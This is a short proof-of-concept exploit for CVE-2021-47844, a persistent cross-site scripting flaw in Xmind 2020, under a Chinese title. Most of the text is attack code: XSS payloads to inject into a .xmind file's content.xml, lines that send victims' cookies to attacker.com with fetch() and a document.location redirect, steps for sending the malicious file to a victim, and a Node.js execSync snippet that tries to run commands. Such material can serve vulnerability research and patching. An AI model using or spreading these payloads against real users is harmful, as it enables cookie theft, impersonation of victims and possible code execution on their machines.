CVE-2021-47844: Xmind 2020 跨站脚本漏洞

<!-- CVE-2021-47844 XSS PoC for Xmind 2020 --> <!-- This PoC demonstrates persistent XSS in Xmind .xmind file --> <!-- Method 1: Inject via XML content.xml in .xmind file --> <!-- 1. Create a new .xmind file or unzip existing one --> <!-- 2. Modify the content.xml file with the following payload --> <topic id="topic1"> <title><![CDATA[<script>alert('XSS - CVE-2021-47844')</script>]]></title> <notes> <plain-text><![CDATA[<img src=x onerror="alert(document.cookie)">]]></plain-text> </notes> </topic> <!-- Method 2: Using event handlers --> <topic id="topic2"> <title><![CDATA[<img src=x onerror='fetch("https://attacker.com/steal?c="+document.cookie)' >]]></title> </topic> <!-- Method 3: Custom header injection --> <topic id="topic3"> <custom-properties> <custom-property key="author"> <script>document.location='https://attacker.com/log?data='+btoa(document.cookie)</script> </custom-property> </custom-properties> </topic> <!-- Steps to exploit: --> <!-- 1. Create malicious .xmind file with payload above --> <!-- 2. Share file with victim via email or file sharing --> <!-- 3. When victim opens file in Xmind 2020, XSS executes --> <!-- 4. Attacker can steal cookies, perform actions as victim --> <!-- For RCE demonstration (if combined with other vulnerabilities): --> <script> // Attempt to execute commands via Node.js integration if available if (typeof require !== 'undefined') { const { execSync } = require('child_process'); execSync('calc.exe'); // Example: spawn calculator on Windows } </script>